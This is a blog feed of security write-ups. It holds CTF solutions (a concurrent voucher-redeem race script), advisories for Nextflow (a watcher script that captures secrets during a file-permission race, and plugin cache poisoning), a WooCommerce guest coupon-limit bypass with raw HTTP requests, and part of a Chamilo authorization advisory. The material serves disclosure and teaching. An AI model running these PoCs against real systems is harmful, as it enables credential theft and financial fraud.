dan tunggu (karna bot visit tiap 60 detik)

![](udahdibaca.png)

cek webhook

![](webhook.png)

### 3. trus ganti cookie session kita dengan yang kita dapet dari webhook (cookie session admin)

![](cookie.png)

reload page, nanti akan langsung logged in as admin

![](admindashboard.png)

tinggal klik flag yang ada di navbar

![](flag.png)
## Flag

```
SMKN24{jarang_jarang_ni_soal_client_side_web_di_seleksi_sekolah_hehehehe}
```

# takbiran ya balapan

## challenge description

so di sini, peserta dikasih link website beserta zip source nya, berikut isi dari zip source nya

![ ](./takbiranunzip.png)

isinya frontend lengkap sama backend sebagian. yang disembunyiin cuma `src/routes/redeem.js` sama `src/helpers.js`, sisanya dikasih semua. jadi buat bagian redeem harus ditemuin sendiri secara blackbox, tapi saat seleksi, gw udah kasih hint yang obvious straight to the point, yaitu `race condition`

deskripsi soalnya kurang lebih gini:

```
takbiran ya balapan!

panitia takbiran rt 06 bagi bagi thr voucher.

- daftar langsung dapat 1000 poin.
- ada voucher bocoran: takbiran2026 (+500 poin, sekali pakai).
- kumpulin saldo sampai 5000 poin buat buka amplop thr sultan.

katanya voucher cuma bisa dipakai sekali... tapi bedug kalau dipukul bareng bareng
suaranya jadi dobel. takbiran ya balapan!

http://&lt;host&gt;:3000
```

## analysis

saat dibuka link nya, begini kira kira tampilan website nya:
![](takbiran.png)

terdapat fitur regis dan login, sesudah login kira kira begini tampilan nya:


![](takbirandasboard.png)

dan setelah login itu, terdapat hanya 1 fitur yang benar benar nyambung ke vuln `race condition`, yaitu redeem voucher
## proof of concept 

gw disini ngasih 2 PoC, via automatic script dan manual via burp (sesuai hint yang gw kasih pas seleksi)
### python script
```py
import sys
import random
import string
import requests
from concurrent.futures import ThreadPoolExecutor

BASE = sys.argv[1] if len(sys.argv) &gt; 1 else &quot;http://localhost:3000&quot;
VOUCHER = &quot;TAKBIRAN2026&quot;
WORKERS = 20

def rand_user():
    suffix = &apos;&apos;.join(random.choices(string.ascii_lowercase + string.digits, k=8))
    return f&quot;togomigi_{suffix}&quot;

def main():
    s = requests.Session()
    username = rand_user()
    password = &quot;takbir123&quot;
    r = s.post(f&quot;{BASE}/api/register&quot;, json={&quot;username&quot;: username, &quot;password&quot;: password}, timeout=10)
    print(f&quot;register {username}: {r.status_code} {r.text[:200]}&quot;)
    if r.status_code != 200:
        r = s.post(f&quot;{BASE}/api/login&quot;, json={&quot;username&quot;: username, &quot;password&quot;: password}, timeout=10)
        print(f&quot;login fallback: {r.status_code}&quot;)

    r = s.get(f&quot;{BASE}/api/me&quot;, timeout=10)
    print(f&quot;saldo awal: {r.text[:200]}&quot;)

    def redeem_one(i):
        try:
            resp = s.post(f&quot;{BASE}/api/redeem&quot;, json={&quot;code&quot;: VOUCHER}, timeout=15)
            try:
                j = resp.json()
            except Exception:
                j = resp.text[:200]
            print(f&quot;    [{i}] {resp.status_code} {j}&quot;)
            return resp
        except Exception as e:
            print(f&quot;    [{i}] error {e}&quot;)
            return None

    print(f&quot;kirim {WORKERS}x POST /api/redeem secara berbarengan&quot;)
    with ThreadPoolExecutor(max_workers=WORKERS) as ex:
        list(ex.map(redeem_one, range(WORKERS)))

    r = s.get(f&quot;{BASE}/api/me&quot;, timeout=10)
    print(f&quot;saldo akhir: {r.text}&quot;)

    r = s.get(f&quot;{BASE}/api/flag&quot;, timeout=10)
    print(f&quot;flag: {r.status_code} {r.text}&quot;)
    try:
        j = r.json()
        if j.get(&quot;ok&quot;) and &quot;flag&quot; in j:
            print(f&quot;\n[SUCCESS] {j[&apos;flag&apos;]}&quot;)
            return
    except Exception:
        pass
    print(&quot;\nBelum dapet flag&quot;)

if __name__ == &quot;__main__&quot;:
    main()
```

jadi script itu cuma ngeregis dan login random username (biar bisa dipake berkali kali solvernya) dan ngirim request post ke endpoint redeem voucher sebanyak 20 request (dengan code yang voucher yang sama) secara berbarengan (`race condition`)

output:

![](scriptflagtakbiran.png)
### via burpsuite

regis dan login seperti biasa, trus nyalain proxy pas mau redeem voucher buat nangkep request post nya

![](catchreqpostredeem.png)

trus send to repeater

![](repeater.png)

sesuain kode voucher nya dengan `TAKBIRAN2026` dan bikin duplicate request nya di repeater sampe total ada 20 request

![](copy.png)

trus klik kanan pada salah satu tab request, dan klik add tab to group 

![](group.png)

trus pas mau send, klik panah samping kanan button send request nya, trus pilih kirim secara parallel

![](opsi.png)


dan kirim 


![](dashboardlagi.png)

buka amplop, dan
![](flagtakbiran.png)
## flag

```
SMKN24{takbiran_yh_balapan_togomigi1337}
```

### REV BESOK YH, CAPEKKKKKKKKKKKKK</content:encoded><category>ctf</category><author>b4r</author></item><item><title>local secrets store race in nextflow</title><link>https://baradika.web.id/blog/nextflow-ghsa-4cmm-q94h-8g5j/</link><guid isPermaLink="true">https://baradika.web.id/blog/nextflow-ghsa-4cmm-q94h-8g5j/</guid><description>ghsa-4cmm-q94h-8g5j in nextflow let a local user on shared filesystems race-read secrets created by nextflow secrets set due to a write-before-chmod permission window</description><pubDate>Tue, 18 Aug 2026 00:00:00 GMT</pubDate><content:encoded>## TL;DR

I reported **GHSA-4cmm-q94h-8g5j** in **Nextflow**.

This was a local credential disclosure vulnerability caused by a write-before-chmod race condition in the local secrets provider.

Nextflow writes the secrets JSON file to disk before applying owner-only permissions. On systems with a permissive umask such as `022`, the file is briefly created as world-readable (`0644`) and only afterward changed to `0600`.

On shared local, HPC, or CI filesystems, another local user who can traverse the `$NXF_HOME` or `NXF_SECRETS_FILE` parent directory can race-read newly stored secrets during that window.

## The bug

The affected code lives in the local secrets provider module:

```text
modules/nextflow/src/main/groovy/nextflow/secret/LocalSecretsProvider.groovy
```

The flow looked like this:

```text
makeStoreFile()
-&gt; resolves store path from NXF_SECRETS_FILE or $NXF_HOME/secrets/store.json
-&gt; parent directories created with mkdirs() using process default permissions

storeSecrets()
-&gt; serializes secrets to JSON
-&gt; Files.write(storeFile, json.getBytes(&apos;utf-8&apos;))     // file created with umask-derived permissions
-&gt; storeFile.setPermissions(&apos;rw-------&apos;)                // chmod happens AFTER write
```

With a common umask of `022`, the write creates the file with `0644` permissions. Only after writing the secret content does Nextflow call `setPermissions(&apos;rw-------&apos;)` to tighten it to `0600`.

That creates a race window where the file exists on disk with group/other read bits set.

The parent directories are also affected. `$NXF_HOME` is created with `mkdir()` using process default permissions, so with umask `022` the directory itself is `0755` instead of `0700`.

## Why it happened

The root cause is the order of operations:

1. Create the file
2. Write the secret content
3. Fix the permissions

The correct order would be:

1. Create the file with restrictive permissions
2. Write the secret content

Or at minimum, apply the permissions atomically as part of file creation using POSIX APIs that support mode flags.

The relevant code paths called out in the advisory are:

```text
modules/nextflow/src/main/groovy/nextflow/secret/LocalSecretsProvider.groovy
modules/nf-commons/src/main/nextflow/Const.groovy
modules/nf-commons/src/main/nextflow/extension/FilesEx.groovy
```

`FilesEx.groovy` applies POSIX permissions as a separate post-creation step, which is what opens the window.

## PoC

The attacker uses a watcher script that continuously checks the file&apos;s permissions. It only captures the secret if the file has group/other read bits at the time of read.

```python
#!/usr/bin/env python3
import json
import stat
import sys
import time
from pathlib import Path

store = Path(sys.argv[1])
token_prefix = sys.argv[2]
out = Path(sys.argv[3])
deadline = time.monotonic() + float(sys.argv[4])

attempts = 0
saw_world_readable = 0
saw_modes = {}

while time.monotonic() &lt; deadline:
    attempts += 1
    try:
        st = store.stat()
    except FileNotFoundError:
        continue

    mode = stat.S_IMODE(st.st_mode)
    saw_modes[oct(mode)] = saw_modes.get(oct(mode), 0) + 1

    if not (mode &amp; 0o044):
        continue

    saw_world_readable += 1

    try:
        data = store.read_text(&quot;utf-8&quot;, errors=&quot;replace&quot;)
    except OSError:
        continue

    if token_prefix in data:
        out.write_text(json.dumps({
            &quot;captured&quot;: True,
            &quot;attempts&quot;: attempts,
            &quot;mode_at_read&quot;: oct(mode),
            &quot;store&quot;: str(store),
            &quot;data&quot;: data,
            &quot;saw_world_readable&quot;: saw_world_readable,
            &quot;saw_modes&quot;: saw_modes,
        }, indent=2))
        raise SystemExit(0)

out.write_text(json.dumps({
    &quot;captured&quot;: False,
    &quot;attempts&quot;: attempts,
    &quot;store&quot;: str(store),
    &quot;saw_world_readable&quot;: saw_world_readable,
    &quot;saw_modes&quot;: saw_modes,
}, indent=2))
raise SystemExit(1)
```

### PoC 1: explicit shared NXF_SECRETS_FILE

```bash
LAB=/tmp/nxf-secrets-race-lab
STORE=&quot;$LAB/shared/store.json&quot;
CAPTURE=&quot;$LAB/capture.json&quot;

rm -rf &quot;$LAB&quot;
mkdir -p &quot;$LAB/shared&quot;
chmod 755 &quot;$LAB&quot; &quot;$LAB/shared&quot;

python3 watch_secret_race.py &quot;$STORE&quot; SUPERSECRET_ &quot;$CAPTURE&quot; 180 &amp;
WATCH_PID=$!

umask 022
NXF_HOME=&quot;$LAB/nxf-home&quot; NXF_SECRETS_FILE=&quot;$STORE&quot; \
  ./nextflow secrets set API_TOKEN &quot;SUPERSECRET_1&quot;

wait &quot;$WATCH_PID&quot; || true

stat -c &quot;%a %n&quot; &quot;$LAB&quot; &quot;$LAB/shared&quot; &quot;$STORE&quot;
cat &quot;$CAPTURE&quot;
```

Observed result:

```text
755 /tmp/nxf-secrets-race-lab
755 /tmp/nxf-secrets-race-lab/shared
600 /tmp/nxf-secrets-race-lab/shared/store.json
```

The watcher captured the secret while the file was still `0644`:

```json
{
  &quot;captured&quot;: true,
  &quot;mode_at_read&quot;: &quot;0o644&quot;,
  &quot;store&quot;: &quot;/tmp/nxf-secrets-race-lab/shared/store.json&quot;,
  &quot;data&quot;: &quot;[\n  {\n    \&quot;name\&quot;: \&quot;API_TOKEN\&quot;,\n    \&quot;value\&quot;: \&quot;SUPERSECRET_1\&quot;\n  }\n]&quot;,
  &quot;saw_world_readable&quot;: 18
}
```

### PoC 2: default $NXF_HOME/secrets/store.json

```bash
LAB=/tmp/nxf-secrets-race-default-home
STORE=&quot;$LAB/nxf-home/secrets/store.json&quot;
CAPTURE=&quot;$LAB/capture.json&quot;

rm -rf &quot;$LAB&quot;
mkdir -p &quot;$LAB&quot;
chmod 755 &quot;$LAB&quot;

python3 watch_secret_race.py &quot;$STORE&quot; HOMESECRET_ &quot;$CAPTURE&quot; 180 &amp;
WATCH_PID=$!

umask 022
NXF_HOME=&quot;$LAB/nxf-home&quot; \
  ./nextflow secrets set API_TOKEN &quot;HOMESECRET_1&quot;

wait &quot;$WATCH_PID&quot; || true

stat -c &quot;%a %n&quot; &quot;$LAB&quot; &quot;$LAB/nxf-home&quot; &quot;$LAB/nxf-home/secrets&quot; &quot;$STORE&quot;
cat &quot;$CAPTURE&quot;
```

Observed result:

```text
755 /tmp/nxf-secrets-race-default-home
755 /tmp/nxf-secrets-race-default-home/nxf-home
755 /tmp/nxf-secrets-race-default-home/nxf-home/secrets
600 /tmp/nxf-secrets-race-default-home/nxf-home/secrets/store.json
```

Watcher output:

```json
{
  &quot;captured&quot;: true,
  &quot;mode_at_read&quot;: &quot;0o644&quot;,
  &quot;store&quot;: &quot;/tmp/nxf-secrets-race-default-home/nxf-home/secrets/store.json&quot;,
  &quot;data&quot;: &quot;[\n  {\n    \&quot;name\&quot;: \&quot;API_TOKEN\&quot;,\n    \&quot;value\&quot;: \&quot;HOMESECRET_1\&quot;\n  }\n]&quot;,
  &quot;saw_world_readable&quot;: 12
}
```

### Negative control: umask 077

With a restrictive umask, the race was not exploitable because the file and parent directories were never group/other readable:

```bash
LAB=/tmp/nxf-secrets-race-umask077
STORE=&quot;$LAB/nxf-home/secrets/store.json&quot;
CAPTURE=&quot;$LAB/capture.json&quot;

rm -rf &quot;$LAB&quot;
mkdir -p &quot;$LAB&quot;
chmod 755 &quot;$LAB&quot;

python3 watch_secret_race.py &quot;$STORE&quot; UMASKSECRET_ &quot;$CAPTURE&quot; 30 &amp;
WATCH_PID=$!

umask 077
NXF_HOME=&quot;$LAB/nxf-home&quot; \
  ./nextflow secrets set API_TOKEN &quot;UMASKSECRET_1&quot;

wait &quot;$WATCH_PID&quot; || true

stat -c &quot;%a %n&quot; &quot;$LAB&quot; &quot;$LAB/nxf-home&quot; &quot;$LAB/nxf-home/secrets&quot; &quot;$STORE&quot;
cat &quot;$CAPTURE&quot;
```

Observed result:

```text
755 /tmp/nxf-secrets-race-umask077
700 /tmp/nxf-secrets-race-umask077/nxf-home
700 /tmp/nxf-secrets-race-umask077/nxf-home/secrets
600 /tmp/nxf-secrets-race-umask077/nxf-home/secrets/store.json
```

```json
{
  &quot;captured&quot;: false,
  &quot;saw_world_readable&quot;: 0,
  &quot;saw_modes&quot;: {
    &quot;0o600&quot;: 513512
  }
}
```

The negative control matters because it confirms the vulnerability is specifically tied to the umask-dependent permission window, not a logic bug in the secrets store itself.

## Impact

This is a local credential disclosure vulnerability.

The attacker needs:

- local or shared-filesystem access
- ability to traverse the `$NXF_HOME` or `NXF_SECRETS_FILE` parent directory
- a victim running with a permissive umask (e.g. `022`)

The attacker does not need to control the victim&apos;s workflow code, configuration, or secret value. They only need local read access during secret creation.

Secrets stored through `nextflow secrets set` may include:

- API tokens for cloud providers
- Service credentials used by Nextflow workflows
- Container registry authentication tokens
- Other sensitive configuration values

On shared HPC clusters and CI environments where multiple users share a filesystem, this is a realistic attack surface. The attacker just needs a watcher process running in the background.

## The fix

The fix requires creating the secrets file with restrictive permissions before writing content.

Instead of:

```text
1. Files.write(storeFile, bytes)
2. storeFile.setPermissions(&apos;rw-------&apos;)
```

The correct approach is:

```text
1. Create file with mode 0600 (e.g. via OpenOption or PosixFilePermissions)
2. Write secret content
```

This eliminates the race window entirely. The file is never world-readable at any point during its lifecycle.

Parent directories should also be created with restrictive permissions to prevent directory traversal in the first place.

## Versions and details

- Advisory: `GHSA-4cmm-q94h-8g5j`
- Package: `nextflow-io/nextflow`
- CVE: `CVE-2026-73977`
- Affected: `26.05.0-edge`
- Patched: None yet
- Severity: `Moderate`
- CVSS: `CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N`
- Weakness: `CWE-367 (Time-of-Check Time-of-Use Race Condition)`, `CWE-732 (Incorrect Permission Assignment for Critical Resource)`
- Credit: [baradika](https://github.com/baradika)

## Reference

- [GHSA-4cmm-q94h-8g5j Advisory](https://github.com/nextflow-io/nextflow/security/advisories/GHSA-4cmm-q94h-8g5j)</content:encoded><category>vulnerability</category><category>cve</category><category>local</category><category>race condition</category><author>b4r</author></item><item><title>pinned plugin cache poisoning in nextflow</title><link>https://baradika.web.id/blog/nextflow-ghsa-654x-pf35-q3v4/</link><guid isPermaLink="true">https://baradika.web.id/blog/nextflow-ghsa-654x-pf35-q3v4/</guid><description>ghsa-654x-pf35-q3v4 let a lower-trust local user pre-populate a shared plugin cache with attacker-controlled pf4j plugin code, which a victim workflow later loads and executes as the victim user</description><pubDate>Tue, 18 Aug 2026 00:00:00 GMT</pubDate><content:encoded>## TL;DR

I reported **GHSA-654x-pf35-q3v4** in **Nextflow**.

This was a pinned plugin cache poisoning vulnerability in the local plugin resolution logic.

Nextflow accepts a pre-existing local cache directory for an official pinned plugin coordinate such as `nf-amazon@3.10.0` without authenticating that the cached content came from the official plugin source.

In a shared-cache deployment, a lower-trust local user who can write to `NXF_PLUGINS_DIR` or shared `$NXF_HOME/plugins` can pre-populate `nf-amazon-3.10.0` with attacker-controlled PF4J plugin code. When a victim later runs a trusted workflow and requests or allowlists `nf-amazon@3.10.0`, Nextflow starts the cached plugin inside the victim&apos;s Nextflow process.

This is local/shared-cache code execution as the victim Nextflow user. It is not unauthenticated RCE and not remote RCE.

## The bug

The issue is not that plugins execute code. The issue is that Nextflow trusts a pre-existing cache directory for an official pinned plugin ID/version without authenticating that the cached content was downloaded from the official plugin source.

The relevant code paths are:

```text
modules/nf-commons/src/main/nextflow/plugin/PluginsFacade.groovy
modules/nf-commons/src/main/nextflow/plugin/PluginUpdater.groovy
modules/nf-commons/src/main/nextflow/plugin/HttpPluginRepository.groovy
```

The source-to-sink flow:

```text
PluginsFacade.getPluginsDir()
-&gt; resolves plugin cache path from NXF_PLUGINS_DIR, $NXF_HOME/plugins, or local plugins

PluginsFacade.start()
-&gt; checks whether plugin ID is allowed
-&gt; starts it

PluginsFacade.isAllowed()
-&gt; checks only the plugin ID from NXF_PLUGINS_ALLOWED

PluginUpdater.prefetchMetadata()
-&gt; skips metadata prefetch for pinned plugins that already exist in the cache

PluginUpdater.isAlreadyInstalled()
-&gt; treats a pinned plugin as installed when pluginsStore.resolve(&quot;${ref.id}-${ref.version}&quot;) exists

PluginUpdater.download0()
-&gt; returns the existing $id-$version path without downloading

PluginUpdater.load0()
-&gt; loads the existing cache path with pluginManager.loadPluginFromPath(pluginPath)
```

The remote release metadata includes `sha512sum`, but the pre-existing pinned cache path does not go through that remote metadata/download verification path.

That is the gap. The allowlist checks the plugin ID. The cache lookup treats an existing directory as &quot;already installed.&quot; But nowhere does Nextflow verify that the content in that directory actually came from the official source.

## PoC

The PoC was run in a local Docker two-user lab with two real Unix users:

- `nxf_attacker_poc` (UID 1201), the attacker
- `nxf_victim_poc` (UID 1202), the victim

The trusted workflow used in the victim run is static and does not contain attacker-controlled code:

```groovy
process HELLO {
  output:
  path &apos;out.txt&apos;

  script:
  &apos;&apos;&apos;
  echo hello &gt; out.txt
  &apos;&apos;&apos;
}

workflow {
  HELLO()
}
```

The malicious cached plugin is placed at:

```text
/tmp/nxf-plugin-cache-two-user-poc/shared-plugins/nf-amazon-3.10.0
```

The victim run uses:

```bash
NXF_HOME=/tmp/nxf-plugin-cache-two-user-poc/victim-home
NXF_PLUGINS_DIR=/tmp/nxf-plugin-cache-two-user-poc/shared-plugins
NXF_OFFLINE=true
NXF_PLUGINS_ALLOWED=nf-amazon
NXF_POC_MARKER=/tmp/nxf-plugin-cache-two-user-poc/plugin-started.txt

nextflow -log /tmp/nxf-plugin-cache-two-user-poc/nextflow.log run &lt;trusted workflow&gt; \
  -plugins nf-amazon@3.10.0 \
  -w /tmp/nxf-plugin-cache-two-user-poc/work
```

The malicious plugin writes a marker file during plugin startup:

```text
/tmp/nxf-plugin-cache-two-user-poc/plugin-started.txt
```

Observed identities:

```text
attacker: uid=1201(nxf_attacker_poc) gid=1202(nxf_attacker_poc)
victim:   uid=1202(nxf_victim_poc)  gid=1203(nxf_victim_poc)
```

Plugin cache ownership before victim execution:

```text
root root 777 .../shared-plugins
nxf_attacker_poc nxf_attacker_poc 755 .../shared-plugins/nf-amazon-3.10.0
```

Victim run result:

```text
VICTIM_STATUS=0
```

Marker ownership after victim execution:

```text
nxf_victim_poc nxf_victim_poc 644 .../plugin-started.txt
```

Marker content:

```text
plugin-started-as-victim
user=nxf_victim_poc
uid=1202
cwd=/tmp/nxf-plugin-cache-two-user-poc/victim-run-dir
timestamp=2026-06-30T15:33:50.992079761Z
```

Relevant Nextflow log lines:

```text
Plugins resolved requirement=[nf-amazon@3.10.0]
Installing plugin nf-amazon version: 3.10.0
Plugin &apos;nf-amazon@3.10.0&apos; resolved
Start plugin &apos;nf-amazon@3.10.0&apos;
```

That proves attacker-owned cache content for an official pinned plugin ID/version was executed in the victim&apos;s Nextflow process.

## Negative controls

### 1. Allowlist mismatch

```text
poisoned cache exists
victim requests nf-amazon@3.10.0
victim sets NXF_PLUGINS_ALLOWED=nf-google
```

Observed:

```text
ALLOWLIST_STATUS=1
ALLOWLIST_MARKER_EXISTS=no
Refuse to use plugin &apos;nf-amazon&apos; - allowed plugins are: nf-google
```

This confirms the issue is not an allowlist bypass. The issue is that an allowed plugin ID/version is not bound to authentic cache content.

### 2. No poisoned cache

```text
empty NXF_PLUGINS_DIR
NXF_OFFLINE=true
victim requests nf-amazon@3.10.0
```

Observed:

```text
NO_CACHE_STATUS=1
NO_CACHE_MARKER_EXISTS=no
```

No attacker marker is created without the poisoned cache directory.

### 3. Private victim cache

```text
private cache owned by nxf_victim_poc
mode 0700
attacker attempts to prepopulate private-plugins/nf-amazon-3.10.0
```

Observed:

```text
PRIVATE_STATUS=1
mkdir: cannot create directory &apos;.../private-plugins&apos;: Permission denied
```

This confirms that a victim-owned private cache is not poisonable by the lower-trust attacker user.

## Why the negative controls matter

Each negative control isolates a specific part of the attack chain:

- **Allowlist mismatch** proves the bug is not about bypassing `NXF_PLUGINS_ALLOWED`. The allowlist works correctly. The gap is upstream: whether the cached content is authentic.
- **No poisoned cache** proves the bug requires a pre-populated directory. Without attacker write access to the cache, there is no exploitation path.
- **Private victim cache** proves the vulnerability is deployment-dependent. The default private per-user cache (`$HOME/.nextflow/plugins` at `0700`) is not poisonable. The attack requires a shared, world-writable cache directory.

## Impact

An attacker with write access to a shared Nextflow plugin cache can execute code as a victim user who later runs a trusted workflow and requests or allows the corresponding official pinned plugin ID/version.

The attacker does not need to control:

- the workflow source
- the task script
- the Nextflow config
- secret values

The attacker only needs write access to the shared plugin cache before the victim run.

The plugin runs inside the victim Nextflow process and can access:

- the victim&apos;s environment
- local files
- workflow credentials
- cloud credentials
- scheduler context

This is most relevant to HPC, CI, or shared filesystem environments where `NXF_PLUGINS_DIR` or `$NXF_HOME/plugins` is shared across users or jobs.

## Security boundary and limitations

This is not unauthenticated remote code execution.

This is not remote code execution from the network.

The attacker needs write access to a plugin cache directory that the victim trusts, such as a shared `NXF_PLUGINS_DIR` or shared `$NXF_HOME/plugins`.

If the victim uses a private plugin cache that the attacker cannot write to, the cache poisoning step is not possible.

The maintainers classified this as **Moderate** because the vulnerable configuration requires the operator to deviate from the secure default (`$HOME/.nextflow/plugins` at `0700`) and assign insecure permissions to a shared cache. The correct CWE mapping is `CWE-276` / `CWE-732` (incorrect permission assignment on the deployment) rather than an authentication or verification flaw in Nextflow itself.

## Versions and details

- Advisory: `GHSA-654x-pf35-q3v4`
- Package: `nextflow-io/nextflow`
- CVE: `CVE-2026-71552`
- Affected: `26.05.0-edge`
- Patched: None yet
- Severity: `Moderate`
- CVSS: `CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N`
- Weakness: `CWE-276 (Incorrect Default Permissions)`, `CWE-732 (Incorrect Permission Assignment for Critical Resource)`
- Credit: [baradika](https://github.com/baradika)

## Reference

- [GHSA-654x-pf35-q3v4 Advisory](https://github.com/nextflow-io/nextflow/security/advisories/GHSA-654x-pf35-q3v4)</content:encoded><category>vulnerability</category><category>cve</category><category>local</category><category>cache poisoning</category><category>code execution</category><author>b4r</author></item><item><title>i made $100 bypassing woocommerce coupon limits with draft orders</title><link>https://baradika.web.id/blog/woocommerce-coupon-bypass-bounty/</link><guid isPermaLink="true">https://baradika.web.id/blog/woocommerce-coupon-bypass-bounty/</guid><description>how i found a business logic bug that let a guest attacker use a coupon unlimited times, even after the global usage limit was reached</description><pubDate>Tue, 18 Aug 2026 00:00:00 GMT</pubDate><content:encoded>So I found a bug in WooCommerce that lets you use a coupon unlimited times, even when the store owner set a strict usage limit of 1.

And yes, I got paid $100 for it.

It&apos;s not a huge bounty, but the bug itself? Pretty fun. Let me break it down.

## The setup

Picture this: you&apos;re a store owner. You create a coupon `LIMIT1`: fixed cart discount of $10, global usage limit of 1. Only one customer in the entire store should ever be able to use this coupon.

That&apos;s a pretty standard financial control, right? Flash sale, limited-time offer, whatever.

Now here&apos;s the thing. WooCommerce has this Store API feature that lets customers create &quot;checkout-draft&quot; orders. You add items to your cart, the system creates a draft order with a coupon applied, and you pay later.

Normal flow? Perfectly fine.

But what if you could create *multiple* draft orders with that same coupon before anyone else uses it?

## The idea

I was poking around the Store API endpoints when I noticed something interesting.

The coupon validation happens at different stages depending on *how* you&apos;re checking out:

1. **Fresh checkout** (normal cart flow): WooCommerce validates coupon constraints before payment, including the global usage limit
2. **Existing order checkout** (paying for a previously created draft): The validation path is different

That distinction is where things get spicy.

## The exploit

Here&apos;s the attack chain:

### Step 1: Pre-stage draft orders while the coupon is still valid

As a guest user (no WordPress account needed), create three separate checkout-draft orders with `LIMIT1` applied:

```http
POST /wp-json/wc/store/v1/checkout?billing_email=attacker@example.test
Content-Type: application/json

{
  &quot;coupon_code&quot;: [&quot;LIMIT1&quot;],
  &quot;billing_address&quot;: { ... },
  &quot;payment_method&quot;: &quot;bacs&quot;
}
```

Each order gets created successfully because the coupon hasn&apos;t been exhausted yet.

Save the `order_id`, `order_key`, and `billing_email` for each.

### Step 2: Someone else uses the coupon

A legitimate customer comes along and completes a normal checkout with `LIMIT1`.

The coupon&apos;s `usage_count` is now 1. The global limit is reached.

A fresh checkout attempt with `LIMIT1` is correctly rejected:

```json
{
  &quot;code&quot;: &quot;woocommerce_rest_cart_coupon_error&quot;,
  &quot;message&quot;: &quot;Usage limit for coupon \&quot;limit1\&quot; has been reached.&quot;
}
```

WooCommerce is doing its job. The coupon is exhausted.

### Step 3: Pay the old draft orders

Now here&apos;s where the bug lives.

Remember those pre-staged draft orders from Step 1? They already have the coupon applied.

The existing-order checkout endpoint lets you pay for them:

```http
POST /wp-json/wc/store/v1/checkout/19?key=wc_order_tIFFUEeq38Bnv&amp;billing_email=attacker@example.test
Content-Type: application/json

{
  &quot;billing_address&quot;: { ... },
  &quot;shipping_address&quot;: { ... },
  &quot;payment_method&quot;: &quot;bacs&quot;,
  &quot;payment_data&quot;: []
}
```

Response:

```json
{
  &quot;order_id&quot;: 19,
  &quot;status&quot;: &quot;on-hold&quot;,
  &quot;payment_result&quot;: {
    &quot;payment_status&quot;: &quot;success&quot;
  }
}
```

It works. The order goes through with the $10 discount.

Do this for all three pre-staged orders. All of them succeed.

### Final state

```json
{
  &quot;code&quot;: &quot;limit1&quot;,
  &quot;usage_count&quot;: 4,
  &quot;usage_limit&quot;: 1,
  &quot;used_by&quot;: [
    &quot;b@example.test&quot;,
    &quot;attacker@example.test&quot;,
    &quot;attacker@example.test&quot;,
    &quot;attacker@example.test&quot;
  ]
}
```

Usage limit: 1. Actual usage: 4.

The attacker got $30 in unauthorized discounts. Scale this up with more pre-staged orders and higher-value coupons, and the financial impact grows.

## Why it happened

The root cause is a validation gap between two checkout paths.

The normal checkout flow calls `WC_Coupon_Data_Store_CPT::check_and_hold_coupon()`, which handles global usage-limit enforcement before payment.

The existing-order payment path in `CheckoutOrder::get_route_post_response()` calls `validate_existing_order_before_payment()`, which runs:

```php
$this-&gt;validate_coupons( $order, true );
```

But `validate_coupons()` only runs:

```php
array( &apos;validate_coupon_email_restriction&apos;, &apos;validate_coupon_usage_limit&apos; )
```

And `validate_coupon_usage_limit()` only checks the **per-user** limit:

```php
$coupon_usage_limit = $coupon-&gt;get_usage_limit_per_user();

if ( 0 === $coupon_usage_limit ) {
    return;  // no per-user limit set, skip validation
}
```

For a coupon with only a global `usage_limit`, this validator returns without checking anything.

The global usage-limit check that happens in the normal checkout path? It&apos;s completely skipped in the existing-order payment path.

Two code paths, two different levels of validation. That&apos;s the bug.

## The report

I submitted this to Automattic on HackerOne.

The triage was a bit of a rollercoaster:

1. **May 23**: Submitted the report
2. **June 1**: Triaged as &quot;Needs more info&quot; and downgraded from High to Low severity
3. **June 1**: Provided screencast + raw HTTP evidence files
4. **June 30**: Asked for an update
5. **~August 13**: Resolved with a fix and $100 bounty

The severity downgrade was fair. It&apos;s a local business logic bug, not remote RCE. But the $100 bounty for a clean logic bypass? I&apos;ll take it.

## Lessons learned

**1. Check alternate code paths.** The main checkout flow was solid. But the existing-order payment path had a completely different validation chain. Always ask: &quot;is there another way to reach the same endpoint?&quot;

**2. Business logic bugs are still bugs.** No fancy exploitation, no buffer overflows, no SQL injection. Just a coupon being used more times than it should be. Store owners care about their margins.

**3. Guest checkout = wider attack surface.** No account required. No authentication needed. Just create draft orders as a guest and pay later. That&apos;s a pretty low bar for exploitation.

**4. Small bounties add up.** $100 isn&apos;t life-changing, but it&apos;s $100 I didn&apos;t have before for ~2 hours of work. That&apos;s a solid hourly rate.

## Affected version

- WooCommerce 10.7.0
- Other versions may be affected (not tested)

## Timeline

- **2026-05-23**: Report submitted to Automattic
- **2026-06-01**: Triaged, severity downgraded to Low
- **2026-06-30**: Follow-up sent
- **2026-08-13**: Resolved with fix + $100 bounty

## Reference

- [HackerOne Report #3756197](https://hackerone.com/reports/3756197)</content:encoded><category>bug bounty</category><category>woocommerce</category><category>business logic</category><category>bounty writeup</category><author>b4r</author></item><item><title>cross-course submission comment and grade tampering in chamilo</title><link>https://baradika.web.id/blog/chamilo-ghsa-8423-5658-789h/</link><guid isPermaLink="true">https://baradika.web.id/blog/chamilo-ghsa-8423-5658-789h/</guid><description>ghsa-8423-5658-789h let low-privileged authenticated users in chamilo lms comment on and overwrite grading data for assignment submissions outside their course scope</description><pubDate>Sun, 02 Aug 2026 00:00:00 GMT</pubDate><content:encoded>## TL;DR

I reported **GHSA-8423-5658-789h** in **Chamilo LMS**.

This was a broken object-level authorization issue in the assignment submission feedback API.

An authenticated user with a basic `ROLE_USER` account could target an arbitrary `submissionId` in a `POST /api/c_student_publication_comments/upload` request and inject feedback onto another student&apos;s assignment.

Even worse, if the request included grading parameters, the backend would overwrite the submission&apos;s score (`qualification`), record date, and stamp the attacker&apos;s user ID as the evaluator (`qualificator_id`).

All without checking whether the attacker was enrolled in the target course or had teacher/grader permissions.

## The bug

The vulnerable endpoint sat at:

```http
POST /api/c_student_publication_comments/upload
```

The flow of the API logic looked like this:

```text
POST payload with submissionId
-&gt; Backend loads target CStudentPublication by ID
-&gt; Creates CStudentPublicationComment on the loaded submission
-&gt; If qualification is present:
   -&gt; updates $submission-&gt;setQualification(...)
   -&gt; updates $submission-&gt;setQualificatorId(...)
   -&gt; updates $submission-&gt;setDateOfQualification(...)
-&gt; Saves record to database
```

Notice what is missing between loading `CStudentPublication` and modifying it:

```text
is the requesting user enrolled in the submission&apos;s course/session?
is the requesting user a teacher or grader for that course?
```

